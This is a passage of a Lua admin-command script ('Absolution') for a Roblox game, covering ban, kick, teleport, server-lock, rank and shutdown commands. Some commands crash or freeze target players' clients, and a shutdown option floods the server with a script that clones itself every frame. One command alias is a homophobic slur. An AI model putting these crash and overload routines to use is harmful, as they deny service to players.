| 3811 | end | |
| 3812 | end | |
| 3813 | elseif Absolution.Functions.GetSplit(Msg) == "t" then | |
| 3814 | if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then | |
| 3815 | return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red") | |
| 3816 | end | |
| 3817 | local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3818 | local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
| |
| 3819 | if not tonumber(Duration) and tostring(Duration):len() >= 3 then | |
| 3820 | local data = {}
| |
| 3821 | local form = '[%d+%a+]+' | |
| 3822 | for match in Duration:gmatch(form) do | |
| 3823 | data[#data+1] = match | |
| 3824 | end | |
| 3825 | if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end | |
| 3826 | local tim = data[1] | |
| 3827 | local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
| |
| 3828 | local multiplier = types[data[2]] | |
| 3829 | if not multiplier then | |
| 3830 | local teststr = data[2]..'s' | |
| 3831 | if types[teststr] then | |
| 3832 | multiplier = types[teststr] | |
| 3833 | else | |
| 3834 | Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') | |
| 3835 | end | |
| 3836 | end | |
| 3837 | Duration = ((tim*60) * multiplier) | |
| 3838 | elseif tonumber(Duration) then | |
| 3839 | Duration = Duration*60 | |
| 3840 | end | |
| 3841 | local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
| |
| 3842 | if #Players > 0 then | |
| 3843 | for _,v in pairs(Players) do | |
| 3844 | if Absolution.Functions:findRank(v) >= 3 then | |
| 3845 | ypcall(function() | |
| 3846 | Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function() | |
| 3847 | Absolution.Functions.getRankedTable(v.Name).Description = Reason | |
| 3848 | Absolution.Functions:setTempBan(v, Reason, (Duration)) | |
| 3849 | --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error') | |
| 3850 | Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error') | |
| 3851 | Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
| |
| 3852 | Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
| |
| 3853 | wait() | |
| 3854 | Absolution.Functions.syncRankOut(v) | |
| 3855 | v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
| |
| 3856 | end) | |
| 3857 | end) | |
| 3858 | else | |
| 3859 | ypcall(function() | |
| 3860 | Absolution.Functions.getRankedTable(v.Name).Description = Reason | |
| 3861 | Absolution.Functions:setTempBan(v, Reason, (Duration)) | |
| 3862 | --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error') | |
| 3863 | Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error') | |
| 3864 | Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
| |
| 3865 | Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
| |
| 3866 | wait() | |
| 3867 | Absolution.Functions.syncRankOut(v) | |
| 3868 | v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
| |
| 3869 | end) | |
| 3870 | end | |
| 3871 | end | |
| 3872 | end | |
| 3873 | elseif Absolution.Functions.GetSplit(Msg) == "r" then | |
| 3874 | Msg = Msg:gsub("-r","")
| |
| 3875 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3876 | if #Players > 0 then | |
| 3877 | for _,v in pairs(Players) do | |
| 3878 | ypcall(function() | |
| 3879 | Absolution.Services.TeleportService:Teleport(game.PlaceId, v) | |
| 3880 | Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5) | |
| 3881 | end) | |
| 3882 | end | |
| 3883 | end | |
| 3884 | elseif Absolution.Functions.GetSplit(Msg) == "bs" then | |
| 3885 | Msg = Msg:gsub("-bs","")
| |
| 3886 | local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3887 | local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
| |
| 3888 | if #Players > 0 then | |
| 3889 | for _,v in pairs(Players) do | |
| 3890 | ypcall(function() | |
| 3891 | --Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error') | |
| 3892 | Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error') | |
| 3893 | Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
| |
| 3894 | Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
| |
| 3895 | game:service'Debris':AddItem(v, 6) | |
| 3896 | end) | |
| 3897 | wait'' | |
| 3898 | pcall(function() v:Kick('Disconnected for: '..Reason) end)
| |
| 3899 | end | |
| 3900 | end | |
| 3901 | elseif Absolution.Functions.GetSplit(Msg) == "c" then | |
| 3902 | Msg = Msg:gsub("-c","")
| |
| 3903 | local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3904 | local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
| |
| 3905 | if #Players > 0 then | |
| 3906 | for _,v in pairs(Players) do | |
| 3907 | ypcall(function() | |
| 3908 | --Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error') | |
| 3909 | Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error') | |
| 3910 | Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
| |
| 3911 | Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
| |
| 3912 | game:service'Debris':AddItem(v, 6) | |
| 3913 | end) | |
| 3914 | end | |
| 3915 | end | |
| 3916 | elseif Absolution.Functions.GetSplit(Msg) == "n" then | |
| 3917 | Msg = Msg:gsub("-n","")
| |
| 3918 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3919 | if #Players > 0 then | |
| 3920 | for _,v in pairs(Players) do | |
| 3921 | ypcall(function() | |
| 3922 | v.Parent = nil | |
| 3923 | Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5) | |
| 3924 | end) | |
| 3925 | end | |
| 3926 | end | |
| 3927 | else | |
| 3928 | local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3929 | if #Players > 0 then | |
| 3930 | local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
| |
| 3931 | for _,v in pairs(Players) do | |
| 3932 | if Absolution.Functions:findRank(v) >= 3 then | |
| 3933 | ypcall(function() | |
| 3934 | Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function() | |
| 3935 | --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error') | |
| 3936 | Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error') | |
| 3937 | Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5) | |
| 3938 | Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
| |
| 3939 | game:service'Debris':AddItem(v, 6) | |
| 3940 | end) | |
| 3941 | end) | |
| 3942 | else | |
| 3943 | ypcall(function() | |
| 3944 | --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error') | |
| 3945 | Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error') | |
| 3946 | Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5) | |
| 3947 | Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
| |
| 3948 | game:service'Debris':AddItem(v, 6) | |
| 3949 | end) | |
| 3950 | end | |
| 3951 | end | |
| 3952 | end | |
| 3953 | end | |
| 3954 | end) | |
| 3955 | Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
| |
| 3956 | local Split = Msg:find('/')
| |
| 3957 | local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3958 | local Nick = Msg:sub(Split + 1) | |
| 3959 | ||
| 3960 | for i,v in pairs(Player) do | |
| 3961 | Absolution.Functions.nickName(v.Name, Nick) | |
| 3962 | Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5) | |
| 3963 | end | |
| 3964 | ||
| 3965 | end) | |
| 3966 | Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
| |
| 3967 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3968 | local Status; | |
| 3969 | Absolution.Functions.Dismiss(Speaker) | |
| 3970 | if #Players > 0 then | |
| 3971 | for _,v in pairs(Players) do | |
| 3972 | ypcall(function() | |
| 3973 | Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
| |
| 3974 | end) | |
| 3975 | --Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8) | |
| 3976 | Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5) | |
| 3977 | --Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8) | |
| 3978 | Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5) | |
| 3979 | end | |
| 3980 | end | |
| 3981 | end) | |
| 3982 | -- Rank 5 -- | |
| 3983 | ||
| 3984 | Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
| |
| 3985 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3986 | local Status; | |
| 3987 | Absolution.Functions.Dismiss(Speaker) | |
| 3988 | if #Players > 0 then | |
| 3989 | for _,v in pairs(Players) do | |
| 3990 | ypcall(function() | |
| 3991 | Status = Absolution.Handler:sendPacket(v, 'disable',{})
| |
| 3992 | end) | |
| 3993 | Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4)) | |
| 3994 | end | |
| 3995 | end | |
| 3996 | end) | |
| 3997 | ||
| 3998 | Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
| |
| 3999 | if Absolution.Functions.GetSplit(Msg) == "p" then | |
| 4000 | Msg = Msg:gsub("-p", "")
| |
| 4001 | local Split = Msg:find('/')
| |
| 4002 | local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1)) | |
| 4003 | local Numbers = Msg:sub(Split + 1) | |
| 4004 | if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then | |
| 4005 | Absolution.Functions.Out(Speaker, 'Nice try', 4) | |
| 4006 | return | |
| 4007 | end | |
| 4008 | if Numbers == "oxsb" then | |
| 4009 | Numbers = "20279777" | |
| 4010 | elseif Numbers == "antisb" then | |
| 4011 | Numbers = "21053279" | |
| 4012 | elseif Numbers == "pksb" then | |
| 4013 | Numbers = "191240586" | |
| 4014 | elseif Numbers == "mastersb" then | |
| 4015 | Numbers = "210101277" | |
| 4016 | elseif Numbers == "jarredsb" then | |
| 4017 | Numbers = "189032917" | |
| 4018 | elseif Numbers == "nexuresb" then | |
| 4019 | Numbers = "178350907" | |
| 4020 | elseif Numbers == "c9" then | |
| 4021 | Numbers = "133180956" | |
| 4022 | elseif Numbers == "quarry" then | |
| 4023 | Numbers = "151670365" | |
| 4024 | elseif Numbers == "phantom" then | |
| 4025 | Numbers = "292439477" | |
| 4026 | end | |
| 4027 | if #Player > 0 then | |
| 4028 | for _,v in pairs(Player) do | |
| 4029 | ypcall(function() | |
| 4030 | Absolution.Services.TeleportService:Teleport(Numbers, v) | |
| 4031 | end) | |
| 4032 | end | |
| 4033 | end | |
| 4034 | elseif Absolution.Functions.GetSplit(Msg) == "ps" then | |
| 4035 | Msg=Msg:gsub('-ps','')
| |
| 4036 | local r,e = ypcall(function() | |
| 4037 | local TS = game:GetService("TeleportService")
| |
| 4038 | if not Absolution.TPReserves[tostring(game.PlaceId)] then | |
| 4039 | Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId) | |
| 4040 | end | |
| 4041 | local players = Absolution.Functions.getPlayers(Speaker,Msg) | |
| 4042 | TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players) | |
| 4043 | end) | |
| 4044 | if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end | |
| 4045 | else | |
| 4046 | local Split = Msg:find('/')
| |
| 4047 | local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1)) | |
| 4048 | local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1)) | |
| 4049 | if #Player1 > 0 or #Player2 > 0 then | |
| 4050 | for _,v in pairs(Player1) do | |
| 4051 | for _,v2 in pairs(Player2) do | |
| 4052 | ypcall(function() | |
| 4053 | v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0) | |
| 4054 | Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5) | |
| 4055 | end) | |
| 4056 | end | |
| 4057 | end | |
| 4058 | end | |
| 4059 | end | |
| 4060 | end) | |
| 4061 | Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
| |
| 4062 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 4063 | Msg = Msg:gsub("-u", "")
| |
| 4064 | local Player = Absolution.Functions.getPlayers(Speaker,Msg) | |
| 4065 | if #Player > 0 then | |
| 4066 | for _,v in pairs(Player) do | |
| 4067 | ypcall(function() | |
| 4068 | for q,e in pairs(Absolution.Tablets) do | |
| 4069 | if e.Tab == v.Character.Torso then | |
| 4070 | table.remove(Absolution.Tablets, q) | |
| 4071 | Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5) | |
| 4072 | end | |
| 4073 | end | |
| 4074 | end) | |
| 4075 | end | |
| 4076 | end | |
| 4077 | else | |
| 4078 | local Player1 = Absolution.Functions.getPlayers(Speaker,Msg) | |
| 4079 | if #Player1 > 0 then | |
| 4080 | for _,v in pairs(Player1) do | |
| 4081 | ypcall(function() | |
| 4082 | table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
| |
| 4083 | Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5) | |
| 4084 | end) | |
| 4085 | end | |
| 4086 | end | |
| 4087 | end | |
| 4088 | end) | |
| 4089 | Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
| |
| 4090 | if #Msg == 0 then | |
| 4091 | Absolution.Functions.Dismiss(Speaker) | |
| 4092 | local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off" | |
| 4093 | Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function() | |
| 4094 | Absolution.Functions.Dismiss(Speaker) | |
| 4095 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 4096 | if Absolution.Functions:findRank(v) <= 0.5 then | |
| 4097 | Absolution.Functions.Announce(v.Name.." got kicked due to private server.") | |
| 4098 | v:Kick() | |
| 4099 | end | |
| 4100 | end | |
| 4101 | Absolution.PrivateServer.Enabled = true | |
| 4102 | Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3) | |
| 4103 | end) | |
| 4104 | Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end) | |
| 4105 | Absolution.Functions.Output(Speaker, "Status: "..Status) | |
| 4106 | elseif Msg == "on" or Msg == "1" or Msg == "true" then | |
| 4107 | Absolution.PrivateServer.Enabled = true | |
| 4108 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 4109 | if Absolution.Functions:findRank(v) <= 0.5 then | |
| 4110 | table.insert(Absolution.PrivateServer.Waiting, v.Name) | |
| 4111 | Absolution.Functions.Announce(v.Name.." got kicked due to private server.") | |
| 4112 | v:Kick() | |
| 4113 | end | |
| 4114 | end | |
| 4115 | Absolution.Functions.Out(Speaker, "Private Server Enabled", 2) | |
| 4116 | elseif Msg == "off" or Msg == "0" or Msg == "false" then | |
| 4117 | Absolution.PrivateServer.Enabled = false | |
| 4118 | Absolution.Functions.Out(Speaker, "Private Server Disabled", 2) | |
| 4119 | end | |
| 4120 | end) | |
| 4121 | Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
| |
| 4122 | Absolution.Functions.Dismiss(Speaker) | |
| 4123 | local Status = Absolution.Locks.Server.Locked == true and "On" or "Off" | |
| 4124 | local Level; | |
| 4125 | local numPlrs = 0 | |
| 4126 | if not Absolution.Locks.Server.Locked then | |
| 4127 | Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function() | |
| 4128 | Absolution.Functions.Dismiss(Speaker) | |
| 4129 | Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red') | |
| 4130 | for i,v in pairs(Absolution.Ranks) do | |
| 4131 | if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then | |
| 4132 | Absolution.Functions.Output(Speaker, tostring(i), "Random", function() | |
| 4133 | Absolution.Functions.Dismiss(Speaker) | |
| 4134 | Absolution.Locks.Server.rankNumber = i | |
| 4135 | Absolution.Functions.Output(Speaker, 'Duration:', "Really red") | |
| 4136 | for i=1200,1,-60 do | |
| 4137 | Absolution.Functions.Output(Speaker, tostring(i), "Random", function() | |
| 4138 | Absolution.Functions.Dismiss(Speaker) | |
| 4139 | for _,v in pairs(Absolution.Services.Players:GetPlayers()) do | |
| 4140 | local vRank = Absolution.Functions:findRank(tostring(v)) | |
| 4141 | if(vRank<Absolution.Locks.Server.rankNumber)then | |
| 4142 | numPlrs = numPlrs + 1 | |
| 4143 | end | |
| 4144 | end | |
| 4145 | Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function() | |
| 4146 | Absolution.Locks.Server.Duration = i | |
| 4147 | Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6) | |
| 4148 | Absolution.Locks.Server:enabledServerLock() | |
| 4149 | Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6) | |
| 4150 | end) | |
| 4151 | end) | |
| 4152 | end | |
| 4153 | end) | |
| 4154 | else | |
| 4155 | end | |
| 4156 | end | |
| 4157 | end) | |
| 4158 | else | |
| 4159 | Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red') | |
| 4160 | end | |
| 4161 | Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled") Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
| |
| 4162 | Absolution.Functions.Output(Speaker, "Status: "..Status) | |
| 4163 | end) | |
| 4164 | Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
| |
| 4165 | if Absolution.Functions.GetSplit(Msg) == "s" then | |
| 4166 | Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server | |
| 4167 | Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
| |
| 4168 | return | |
| 4169 | elseif Absolution.Functions.GetSplit(Msg) == "l" then | |
| 4170 | Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local | |
| 4171 | Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
| |
| 4172 | return | |
| 4173 | else | |
| 4174 | Absolution.Functions.Dismiss(Speaker) | |
| 4175 | Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange") | |
| 4176 | Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange") | |
| 4177 | Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function() | |
| 4178 | Absolution.Functions.Dismiss(Speaker) | |
| 4179 | Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server | |
| 4180 | Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
| |
| 4181 | end) | |
| 4182 | Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function() | |
| 4183 | Absolution.Functions.Dismiss(Speaker) | |
| 4184 | Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local | |
| 4185 | Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
| |
| 4186 | end) | |
| 4187 | end | |
| 4188 | end) | |
| 4189 | Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
| |
| 4190 | Absolution.Functions.MakeOutput(Speaker) | |
| 4191 | end) | |
| 4192 | -- Rank 6 -- | |
| 4193 | Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
| |
| 4194 | local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/') | |
| 4195 | local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 4196 | local Rank = tonumber(Msg:sub(Split + 1)) | |
| 4197 | if #Player > 0 then | |
| 4198 | for _,v in pairs(Player) do | |
| 4199 | if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end | |
| 4200 | if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end | |
| 4201 | if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end | |
| 4202 | if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end | |
| 4203 | if Rank < Absolution.Functions:findRank(Speaker) then | |
| 4204 | Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank | |
| 4205 | Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5) | |
| 4206 | Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5) | |
| 4207 | Absolution.Functions.syncRankOut(v) | |
| 4208 | else | |
| 4209 | Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4) | |
| 4210 | end | |
| 4211 | end | |
| 4212 | end | |
| 4213 | end) | |
| 4214 | Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
| |
| 4215 | local plr = game:service'Players':GetUserIdFromNameAsync(Msg) | |
| 4216 | if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end | |
| 4217 | if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end | |
| 4218 | local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded) | |
| 4219 | Absolution.Tempbans[tostring(plr)] = nil | |
| 4220 | Absolution.Functions.Out(Speaker, result, 2) | |
| 4221 | Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
| |
| 4222 | end) | |
| 4223 | Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)
| |
| 4224 | ||
| 4225 | Absolution.Functions.Dismiss(Speaker) | |
| 4226 | ||
| 4227 | local GetTime = function(self) | |
| 4228 | local hour = math.floor((self%86400)/60/60) | |
| 4229 | local min = math.floor(((self%86400)/60/60-hour)*60) | |
| 4230 | if min < 10 then min = "0"..min end | |
| 4231 | if hour < 10 then hour = "0"..hour end | |
| 4232 | return hour..":"..min | |
| 4233 | end | |
| 4234 | ||
| 4235 | if Absolution.Functions.GetSplit(Msg) == "p" then | |
| 4236 | ||
| 4237 | local plr = Absolution.Functions.getPlayers(Msg) | |
| 4238 | ||
| 4239 | if #plr > 1 then | |
| 4240 | ||
| 4241 | Absolution.Functions.Out(Speaker,'Too many players!',4) | |
| 4242 | ||
| 4243 | return | |
| 4244 | ||
| 4245 | else | |
| 4246 | ||
| 4247 | local sData = Absolution.Functions.TraceSearch(plr[1].Name, true) | |
| 4248 | ||
| 4249 | for i,v in pairs(sData) do | |
| 4250 | ||
| 4251 | Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function() | |
| 4252 | ||
| 4253 | Absolution.Functions.Dismiss(Speaker) | |
| 4254 | ||
| 4255 | Absolution.Functions.Output(Speaker, v.data) | |
| 4256 | ||
| 4257 | end) | |
| 4258 | end | |
| 4259 | ||
| 4260 | end | |
| 4261 | ||
| 4262 | else | |
| 4263 | ||
| 4264 | local sData = Absolution.Functions.TraceSearch(Msg) | |
| 4265 | ||
| 4266 | if #sData > 0 then | |
| 4267 | for i,v in pairs(sData) do | |
| 4268 | Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
| |
| 4269 | end | |
| 4270 | else | |
| 4271 | Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4) | |
| 4272 | end | |
| 4273 | ||
| 4274 | end | |
| 4275 | ||
| 4276 | end) | |
| 4277 | Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
| |
| 4278 | if Absolution.Functions.GetSplit(Msg) == "c" then | |
| 4279 | Msg = Msg:gsub("-c","")
| |
| 4280 | for i = 1, Absolution.Constants.ShutdownTime do | |
| 4281 | if Absolution.Aborted == true then | |
| 4282 | Absolution.Aborted = false | |
| 4283 | local ABM = Instance.new("Message", Absolution.Services.Workspace)
| |
| 4284 | ABM.Text = "Shutdown Aborted!" | |
| 4285 | Absolution.Services.Debris:AddItem(ABM, 1) | |
| 4286 | Absolution.Locks.Server.Server = false | |
| 4287 | Absolution.Locks.Server.Local = false | |
| 4288 | return | |
| 4289 | else | |
| 4290 | Absolution.Locks.Server.Server = true | |
| 4291 | Absolution.Locks.Server.Local = true | |
| 4292 | local ABM = Instance.new("Message", Absolution.Services.Workspace)
| |
| 4293 | ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds" | |
| 4294 | wait(1) | |
| 4295 | if ABM ~= nil then | |
| 4296 | ABM:remove() | |
| 4297 | end | |
| 4298 | end | |
| 4299 | end | |
| 4300 | Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined') | |
| 4301 | elseif Absolution.Functions.GetSplit(Msg) == "a" then | |
| 4302 | Msg = Msg:gsub("-a", "")
| |
| 4303 | Absolution.Aborted = true | |
| 4304 | elseif Absolution.Functions.GetSplit(Msg) == "o" then | |
| 4305 | Msg = Msg:gsub("-o", "")
| |
| 4306 | Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function() | |
| 4307 | Absolution.Functions.createScript([[ | |
| 4308 | while game:service'RunService'.Stepped:wait() do | |
| 4309 | script:Clone().Parent = game:GetService("Workspace")
| |
| 4310 | end | |
| 4311 | ]], Absolution.Services.Workspace) | |
| 4312 | end) | |
| 4313 | else | |
| 4314 | Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function() | |
| 4315 | Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given') | |
| 4316 | end) | |
| 4317 | end | |
| 4318 | end) | |
| 4319 | -- Rank 7 -- | |
| 4320 | Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
| |
| 4321 | Absolution.Handler.sendChat('Removing Absolution...')
| |
| 4322 | Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
| |
| 4323 | Absolution.Handler:fireAllClients('removescript')
| |
| 4324 | wait(2) | |
